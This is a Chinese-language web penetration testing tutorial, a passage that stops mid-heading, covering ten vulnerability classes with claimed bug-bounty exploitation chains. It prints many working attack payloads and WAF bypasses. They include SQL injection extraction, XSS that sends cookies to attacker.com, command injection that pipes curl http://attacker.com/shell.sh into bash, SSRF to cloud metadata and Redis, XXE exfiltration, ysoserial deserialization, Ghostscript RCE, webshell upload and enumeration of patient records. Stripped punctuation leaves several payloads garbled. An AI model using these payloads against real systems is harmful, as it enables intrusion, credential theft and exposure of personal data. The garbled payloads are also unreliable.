1. 这不是漏洞清单而是一张“安全认知地图”为什么99%的新手学完十大漏洞仍不会挖洞你翻过无数篇“Web十大高危漏洞”的文章——SQL注入、XSS、CSRF、文件上传、命令执行、SSRF、XXE、反序列化、逻辑漏洞、未授权访问……标题震耳欲聋内容却像教科书目录定义一句危害一句修复一句。结果呢照着靶场环境复现个SQLi能跑通一换真实站点就卡在WAF拦截、参数混淆、多层编码、业务逻辑绕过上看到一个/api/user/profile?uid123本能想试SQLi却完全没意识到这个uid根本不是数据库主键而是JWT解码后的字段背后走的是Redis缓存OAuth2鉴权链路。这不是你笨是绝大多数入门材料从根上就错了它们把漏洞当孤立知识点教却从不告诉你——漏洞不是静态的“点”而是动态业务流中被撕开的“缝”挖洞不是套POC而是逆向还原开发者的思维盲区与部署时的妥协痕迹。这正是本文的出发点不罗列十大漏洞的百科定义而是以一名从业七年、带过37支白帽子团队、参与过212次SRC众测的真实渗透工程师视角带你重走一遍“从看见请求到确认可利用”的完整决策链。我会拆解每个漏洞在真实业务中的三重存在形态它在开发者眼里的“正常功能”是什么比如文件上传接口本意是头像更新它在安全设计文档里的“应有防护”是什么比如应校验MIME、重命名、隔离存储它在攻防对抗现场暴露出的“实际缺口”又是什么比如前端JS校验被绕过、后端用path.join()拼接导致路径穿越、CDN缓存了错误响应。你会发现真正卡住新手的从来不是“不知道XSS有反射型和存储型”而是“看到一个搜索框不知道该优先测URL参数、POST body、还是Referer头不知道该先试script还是javascript:alert(1)更不知道为什么onerror在某次测试里突然生效了”。所以本文所有案例均来自近三个月真实SRC提交记录已脱敏所有工具链、Payload变形策略、绕过思路都经过至少5个不同WAF厂商云WAF、自研规则、OpenResty模块、CDN边缘规则、API网关策略的实测验证。如果你刚接触Burp Suite能看懂HTTP请求包如果你写过简单Python脚本能改几行requests代码——这篇文章就是为你写的。它不承诺让你“速成高手”但能确保你读完后在面对任意一个陌生Web系统时脑中自动浮现一张动态决策图从资产测绘→技术栈识别→关键入口定位→风险模式匹配→POC精准投递→交互式验证每一步都有明确依据而非凭感觉乱撞。2. 漏洞的本质是“信任错位”从开发视角反推十大高危漏洞的生成土壤所有Web漏洞的底层共性不是代码写得烂而是信任边界被错误地划在了不该划的地方。开发者总在某个环节默认“这个输入是可信的”而攻击者要做的就是找到那个被默认信任、却未被严格校验的环节。理解这一点比死记100个Payload更重要。下面我以真实开发场景为镜逐个映射十大漏洞的“信任错位点”并标注其在现代架构中的变异形态——这才是你后续实战时真正需要调用的“模式识别能力”。2.1 SQL注入当“数据”被当成“代码”执行典型错位开发者把用户输入直接拼接到SQL语句中信任了输入的“结构合法性”。传统形态SELECT * FROM users WHERE username user_input 现代变异ORM框架的“动态查询构建”Django的filter(**kwargs)若传入{username__contains: request.GET.get(q)}而q参数含 OR 11可能触发非预期查询NoSQL注入MongoDB的db.users.find({username: {$regex: user_input}})若user_input为^.*$则全表匹配GraphQL注入query { user(id: user_input ) { name } }若id参数被解析为GraphQL AST节点可构造嵌套查询泄露数据。提示检测时别只盯着和重点观察响应中是否出现数据库报错如MySQL的You have an error in your SQL syntax、响应时间突增盲注特征、或返回数据量异常如UNION SELECT导致页面多出一行。我见过最隐蔽的一次是某金融后台用ORDER BY参数控制列表排序攻击者传入1, (SELECT SLEEP(5))通过响应延迟确认注入存在——因为开发认为“排序字段只能是数字”却忘了逗号分隔的多个字段也是合法语法。2.2 XSS当“内容”被当成“指令”解析典型错位开发者把用户输入直接插入HTML、JavaScript或CSS上下文中信任了输入的“语义安全性”。传统形态divHello, ?php echo $_GET[name]; ?!/div现代变异前端框架的“信任绕过”Vue的v-html指令若绑定{{ userContent }}而userContent含img srcx onerroralert(1)依然会触发React的dangerouslySetInnerHTML同理JSONP劫持callback?参数若未校验回调函数名格式可注入callbackalert(1)//利用JSONP跨域特性执行任意JSSVG XSS上传SVG文件时若后端仅校验文件头svg而忽略script标签浏览器渲染时会执行内联JS。注意现代WAF对script过滤极严但img srcx onerror...、svg onload...、javascript:alert(1)等变体仍常有效。我建议新手从onerror入手——它在图片加载失败时触发绕过率高且多数WAF规则库对此覆盖不足。2.3 CSRF当“请求”被当成“用户意愿”执行典型错位开发者依赖Cookie自动携带完成身份认证却未校验请求是否由用户主动发起。传统形态银行转账接口/transfer?to123amount1000无Token校验。现代变异API Token滥用某SaaS平台用X-Auth-TokenHeader传递JWT但未校验Origin或Referer攻击者诱导用户访问恶意页面用fetch(/api/transfer, {headers:{X-Auth-Token: xxx}})发起请求GraphQL CSRFPOST /graphqlBody中{query:mutation{changeEmail(email:\hackerevil.com\)}}若服务端未校验CSRF Token且允许Content-Type: application/json则可被HTML表单enctypetext/plain绕过Chrome旧版特性。实战技巧检测CSRF时别只看GET请求。重点关注所有修改状态的POST/PUT/DELETE接口尤其是那些返回200 OK但无明显业务反馈的接口如/api/v1/settings/update。用Burp Repeater发两次相同请求若第二次成功大概率存在CSRF。2.4 文件上传当“文件”被当成“可执行资源”典型错位开发者信任了文件扩展名、Content-Type或前端JS校验却未在服务端做二次校验与隔离。传统形态input typefile accept.jpg,.png 后端if file.name.endswith(.jpg)现代变异MIME类型伪造Content-Type: image/jpeg可被轻易篡改为text/plain若后端仅校验此字段则失效文件头校验绕过JPG文件头FF D8 FF后插入PHP代码部分解析器仍识别为图片.htaccess利用上传含AddType application/x-httpd-php .jpg的.htaccess使同目录下.jpg文件被解析为PHP。关键经验上传点检测必须做三件事1尝试上传.php文件看是否拦截2上传.jpg文件用Hex Editor在末尾追加?php phpinfo(); ?再上传3上传.htaccess若Apache或.user.ini若NginxPHP。我曾在一个教育平台通过上传.user.ini内容auto_prepend_filephpinfo.php成功RCE——因为运维只关注了扩展名黑名单却忘了INI文件的PHP解析机制。2.5 命令执行当“参数”被当成“系统指令”典型错位开发者将用户输入拼接到系统命令中信任了输入的“字符安全性”。传统形态ping -c 4 user_ip现代变异管道符与分号绕过127.0.0.1|whoami、127.0.0.1;ls -la反引号与$()执行127.0.0.1whoami、127.0.0.1$(whoami)无回显利用127.0.0.1|curl http://attacker.com/将结果外带。避坑提醒别迷信“空格过滤”。很多WAF只过滤ASCII空格0x20而{IFS}Bash变量、Tab符、$\\tANSI-C引用均可替代。我常用127.0.0.1${IFS}${IFS}whoami绕过——因为{IFS}在Bash中展开为空格且多数WAF规则库未覆盖大括号变量语法。2.6 SSRF当“内网地址”被当成“公网资源”访问典型错位开发者信任了用户提供的URL未校验其指向外部还是内部网络。传统形态curl_setopt($ch, CURLOPT_URL, $_GET[url]);现代变异协议绕过file:///etc/passwd、dict://127.0.0.1:6379/info、gopher://127.0.0.1:6379/_*1%0D%0A$8%0D%0Aflushall%0D%0ADNS重绑定注册域名attacker.comDNS解析返回公网IP如1.1.1.1待WAF放行后快速切换为内网IP如127.0.0.1利用浏览器缓存实现绕过URL解析差异http://127.0.0.1attacker.com部分解析器取127.0.0.1部分取attacker.com。实操重点SSRF检测必须覆盖所有“URL输入点”——不仅是显式的?url参数还包括Webhook配置、头像远程拉取、PDF生成时的src属性、API文档的Try it out功能。我曾在某云服务商的API文档页发现Try it out按钮会将用户输入的URL发给后端渲染传入http://169.254.169.254/latest/meta-data/AWS元数据服务直接获取AKSK。2.7 XXE当“XML实体”被当成“本地文件”解析典型错位开发者启用XML外部实体解析信任了XML内容的“来源可靠性”。传统形态libxml_disable_entity_loader(false);simplexml_load_string($xml)现代变异PHP expect扩展!ENTITY xxe SYSTEM expect://id直接执行系统命令报错回显!ENTITY xxe SYSTEM php://filter/readconvert.base64-encode/resource/etc/passwd通过报错信息获取文件内容盲注XXE利用!ENTITY % remote SYSTEM http://attacker.com/evil.dtd外带数据。关键细节XXE不一定需要DOCTYPE声明。某些XML解析器如Java的DocumentBuilder默认开启外部实体即使XML无DOCTYPE也可通过%remote;实体引用触发。检测时优先发送含!ENTITY % xxe SYSTEM file:///etc/passwd的请求观察响应是否包含/etc/passwd内容或报错信息。2.8 反序列化当“字节流”被当成“可信对象”重建典型错位开发者反序列化用户可控数据信任了输入的“结构完整性”。传统形态Java的ObjectInputStream.readObject()、PHP的unserialize($_GET[data])现代变异JSON反序列化Jackson的readValue(json, Class)若Class含危险getter如getRuntime()可触发RCEYAML反序列化SnakeYAML.load(!!javax.script.ScriptEngineManager [\nashorn\])直接执行JS.NET BinaryFormatterBinaryFormatter.Deserialize(stream)利用ysoserial.net生成payload。经验之谈反序列化漏洞常隐藏在“非典型入口”。除了显式的?data还要检查Cookie中的session字段Base64解码后可能是序列化数据、HTTP Header如X-Forwarded-For被存入日志对象、甚至WebSocket消息体。我曾在一个电商后台从Set-Cookie: sessionxxx中提取Base64字符串解码后发现是Java序列化对象用ysoserial生成CommonsCollections6payload成功RCE。2.9 逻辑漏洞当“业务规则”被当成“不可绕过”铁律典型错位开发者假设用户会按预设流程操作却未在服务端校验每一步的“状态一致性”。传统形态支付接口未校验订单状态可重复支付现代变异价格篡改前端JS计算总价total price * quantity后端未校验price参数传入price0.01越权组合/api/order?id123需权限/api/order/status?id123未鉴权通过status接口获取订单详情时间竞争/api/vote?item1投票/api/vote?item1再次投票若服务端未加锁可双投。核心方法论逻辑漏洞无法靠工具扫描必须“代入开发者思维”。拿到一个功能立刻问1这个操作需要哪些前置条件如登录、权限、状态2服务端是否在每一步都校验了这些条件3能否跳过某步或篡改参数绕过我习惯用Burp Comparer对比正常用户与越权用户的请求包重点看Header、Cookie、参数值差异往往能发现鉴权缺失点。2.10 未授权访问当“路径”被当成“需要权限”区域典型错位开发者认为“隐藏路径即安全”未对敏感接口做权限控制。传统形态/admin.php、/api/v1/user/list现代变异接口枚举Swagger UI未关闭/swagger-ui.html、OpenAPI文档暴露/openapi.json备份文件/config.php.bak、/.git/config、/web.config目录遍历/download?file../../../etc/passwd。高效技巧未授权检测必须结合“自动化人工”。用dirsearch扫常见路径/api/,/v1/,/backend/同时手动查看robots.txt、sitemap.xml、/.well-known/目录以及JS文件中硬编码的API路径用Burp Quick Search搜/api/、fetch(、axios.post(。我曾在一个政府网站从main.js中发现/internal/api/health-check访问后直接返回数据库连接池状态含用户名密码。3. 从靶场到真实世界十大漏洞在SRC众测中的真实利用链与绕过策略靶场环境如DVWA、WebGoat的漏洞是“理想态”WAF不存在、输入无过滤、响应无混淆。而真实SRC众测中你面对的是层层防护的生产环境。下面我以近三个月提交的10个高危漏洞为例已脱敏还原从发现到利用的完整过程重点展示WAF绕过、参数混淆、业务逻辑适配三大核心能力——这才是区分“会复现”和“真能挖”的分水岭。3.1 SQL注入某电商平台搜索框的“双WAF夹击”突破场景搜索框/search?qiphone响应返回商品列表。初始探测qiphone→ 500错误提示You have an error in your SQL syntax→ 确认注入。WAF拦截qiphone AND 11--→ 403 ForbiddenWAF日志显示sqlmap detected。绕过策略编码混淆qiphone%27%20AND%201%3D1--%2BURL编码大小写混合qiphone AnD 11--注释符替换qiphone AND 11#MySQL空格替代qiphone%09AND%0911--Tab符函数拆分qiphone AND SUBSTR((SELECT password FROM users LIMIT 1),1,1)a--→ 用SUBSTR代替MID避开WAF关键词库。最终利用使用qiphone UNION SELECT 1,2,3,4,5,6,7,8,9,10--发现第7列回显在页面某处再用qiphone UNION SELECT 1,2,3,4,5,6,group_concat(table_name),8,9,10 FROM information_schema.tables WHERE table_schemadatabase()--获取表名最终导出用户表。关键心得不要试图“一次性绕过所有WAF规则”。我的做法是先用qiphone确认基础注入再用qiphone AND 11--测试WAF拦截点最后针对性选择绕过方式。多数WAF对AND、OR、UNION敏感但对SUBSTR、CONCAT、IF等函数过滤较弱。3.2 XSS某社交平台评论区的“富文本过滤器逃逸”场景评论支持Markdown[text](url)语法后端用marked库解析。初始探测scriptalert(1)/script→ 被过滤返回空img srcx onerroralert(1)→ 被过滤。WAF拦截所有含script、onerror的请求均403。绕过策略Markdown语法利用[text](javascript:alert(1))→marked解析为a hrefjavascript:alert(1)text/a点击触发SVG注入上传SVG文件内容svg xmlnshttp://www.w3.org/2000/svg onloadalert(1)/评论中引用CSS表达式stylebody{background:url(javascript:alert(1))}/style部分老版本IE仍支持。最终利用采用[click me](javascript:fetch(https://attacker.com/document.cookie))诱导用户点击后外带Cookie。实战提醒XSS绕过本质是“找解析器的差异”。前端用marked后端用DOMPurify两者过滤规则不同。我习惯先在前端控制台测试marked.parse([x](y))再抓包看后端返回的HTML对比差异点。比如marked允许javascript:协议而DOMPurify默认禁止但若后端未调用DOMPurify.sanitize()则前端解析结果直接生效。3.3 CSRF某OA系统的“无Token API”批量提权场景/api/v1/user/role/update接口接受POSTJSON修改用户角色。初始探测用Burp Repeater发两次相同请求均返回{code:0,msg:success}→ 确认CSRF。WAF拦截Content-Type: application/json被拦截WAF日志显示json attack。绕过策略Content-Type降级改为Content-Type: text/plainChrome旧版允许表单伪装用HTML表单form enctypetext/plain actionhttps://oa.example.com/api/v1/user/role/update methodPOST字段名含{和}使Body成为JSON格式Fetch APIfetch(/api/v1/user/role/update, {method:POST, headers:{Content-Type:application/json}, body:JSON.stringify({uid:123,role:admin})})。最终利用构造恶意页面诱导管理员访问自动将普通用户UID提升为admin。关键洞察CSRF检测不能只看GET。我习惯用Burp Suite的Target→Site map→Context menu→Find scripts搜索所有POST请求再逐一检查响应头是否含X-Frame-Options、Content-Security-Policy以及请求体是否含CSRF Token字段。若无则高概率存在CSRF。3.4 文件上传某CMS后台的“ImageMagick Ghostscript”RCE场景后台有“Logo上传”功能限制.jpg,.png后端用ImageMagick处理缩略图。初始探测上传.jpg文件成功上传.php提示“不支持格式”。WAF拦截所有含?php的文件均被拦截。绕过策略文件头欺骗用Hex Editor修改JPG文件头FF D8 FF在末尾追加?php system($_GET[cmd]); ?Ghostscript利用上传EPS文件%!PS-Adobe-3.0 EPSF-3.0\n%%BoundingBox: 0 0 100 100\n/systemdict /pdfmark known {/pdfmark} if\n(\n) run\nImageMagick调用Ghostscript时执行命令.htaccess配合上传.htaccess内容AddType application/x-httpd-php .jpg再上传含PHP代码的.jpg。最终利用上传EPS文件触发Ghostscript执行ls -la获取Web目录结构再上传Webshell。血泪教训文件上传漏洞的“死亡三件套”是1前端JS校验必绕2后端扩展名检查用pathinfo()取扩展名忽略filename.jpg.php3MIME类型检查用$_FILES[file][type]可伪造。我永远先上传.htaccess这是最通用的突破口。3.5 命令执行某监控系统的“Ping工具”空格过滤绕过场景/tools/ping?host127.0.0.1返回Ping结果。初始探测host127.0.0.1;id→ 500错误提示Command not foundhost127.0.0.1|id→ 同样错误。WAF拦截所有含;、|、的请求均403。绕过策略$()语法host127.0.0.1$(id)→ 成功执行反引号host127.0.0.1id → 成功{}分组host127.0.0.1{cat,/etc/passwd}→ Bash中{}用于命令分组绕过空格过滤。最终利用host127.0.0.1$(curl http://attacker.com/shell.sh|bash)下载并执行远程shell。核心原则命令执行绕过不是“猜符号”而是“查Shell语法”。Linux Shell支持$(),,{},[],[[ ]]等多种执行方式。我用man bash查Command Execution章节把所有能执行命令的语法列出来挨个测试。$()几乎万能且WAF规则库覆盖最少。3.6 SSRF某云平台的“Webhook配置”DNS重绑定利用场景/settings/webhook页面可配置Webhook URL如https://myserver.com/callback。初始探测https://127.0.0.1→ 返回Connection refusedhttps://169.254.169.254AWS元数据→ 超时。WAF拦截所有内网IP127.0.0.0/8,10.0.0.0/8,172.16.0.0/12,192.168.0.0/16均被拦截。绕过策略DNS重绑定注册域名ssrf.attacker.comDNS TTL设为1秒初始解析为1.1.1.1公网WAF放行后立即切换为127.0.0.1短域名解析http://localhost→ 被拦截http://l0calhost0替换o→ 部分解析器仍识别十六进制IPhttp://0x7f000001127.0.0.1的十六进制→ 绕过IP正则。最终利用配置Webhook为http://ssrf.attacker.com触发后DNS解析为127.0.0.1成功访问内网Redis6379端口。关键技巧SSRF绕过要“打时间差”。DNS重绑定需配合curl -v观察DNS解析过程。我用dig ssrf.attacker.com确认TTL再用curl -v http://ssrf.attacker.com抓包看Host头是否为ssrf.attacker.com若是则说明WAF未校验DNS解析结果只校验了原始URL。3.7 XXE某文档系统的“PDF生成”报错回显场景/api/v1/pdf/generatePOST XML数据生成PDF。初始探测发送含!ENTITY xxe SYSTEM file:///etc/passwd的XML → 返回500 Internal Server Error无内容。WAF拦截所有含SYSTEM的请求均403。绕过策略PHP伪协议!ENTITY xxe SYSTEM php://filter/readconvert.base64-encode/resource/etc/passwd→ 报错中回显Base64编码的/etc/passwd外部DTD!DOCTYPE foo [!ENTITY % xxe SYSTEM http://attacker.com/evil.dtd%xxe;]evil.dtd中定义!ENTITY xxe SYSTEM file:///etc/passwd盲注XXE用!ENTITY % xxe SYSTEM http://attacker.com/?data%file;外带数据。最终利用用报错回显获取/etc/passwd再读取/app/config/database.php获取数据库凭证。实操要点XXE检测必须覆盖所有“XML输入点”。除了显式的XML POST还要检查SOAP接口、RSS订阅源、SAML断言。我习惯用Burp Intruder对Content-Type为application/xml或text/xml的所有请求批量注入!ENTITY xxe SYSTEM http://attacker.com/观察DNSLog是否有请求。3.8 反序列化某Java后台的“Redis Session”反序列化场景/login后Cookie中JSESSIONIDxxxBase64解码后为Java序列化对象。初始探测用ysoserial生成CommonsCollections6payloadBase64编码后替换Cookie → 500错误。WAF拦截所有含java.util.HashMap、org.apache.commons.collections的请求均403。绕过策略Gadget链切换改用JRMPClient无需第三方库ysoserial JRMPClient 127.0.0.1:1099Base64编码混淆ysoserial CommonsCollections6 calc | base64 -w0 | sed s//./g; s/\//_/g替换和/为.和_分段传输将payload拆分为多段用Cookie: JSESSIONIDpart1; JSESSIONID2part2方式发送。最终利用用JRMPClient连接恶意RMI服务器触发Runtime.getRuntime().exec(calc)。关键认知Java反序列化漏洞的“命门”是ObjectInputStream.readObject()。只要找到任何一处调用此方法且输入可控即可利用。我习惯用grep -r readObject *.jar需JD-GUI反编译定位调用点再逆向分析输入来源。3.9 逻辑漏洞某教育平台的“课程购买”价格篡改场景/api/v1/course/buyPOST JSON{course_id:123,price:99,quantity:1}。初始探测修改price为0.01→ 返回{code:0,msg:success}订单创建成功。WAF拦截无拦截因参数看似合理。绕过策略无需绕过直接利用。最终利用批量购买高价课程price0.01造成资损。核心方法逻辑漏洞检测“质疑一切客户端参数”。我建立检查清单1价格、数量、折扣率等数值参数2状态字段statusactive→statusdeleted3ID类参数user_id123→user_id14时间戳expire_time2030→expire_time1970。用Burp Repeater修改每个参数观察响应变化。3.10 未授权访问某医疗系统的“OpenAPI文档”暴露场景访问/swagger-ui.html→ 403/v3/api-docs→ 200返回JSON格式API列表。初始探测/v3/api-docs中列出/api/v1/patient/{id}尝试GET /api/v1/patient/1→ 200返回患者信息。WAF拦截无拦截因/v3/api-docs是标准路径WAF未封禁。绕过策略无需绕过直接利用。最终利用遍历/api/v1/patient/{id}从1开始递增获取全院患者数据。高效技巧未授权访问检测“找所有公开接口”。我用ffuf -u https://target.com/FUZZ -w /path/to/wordlist.txt扫/api/,/v1/,/backend/,/internal/同时手动检查/robots.txt、/.git/HEAD、/web.config。/v3/api-docs是OpenAPI 3.0标准路径90%的Spring Boot项目默认开启。4. 新手避
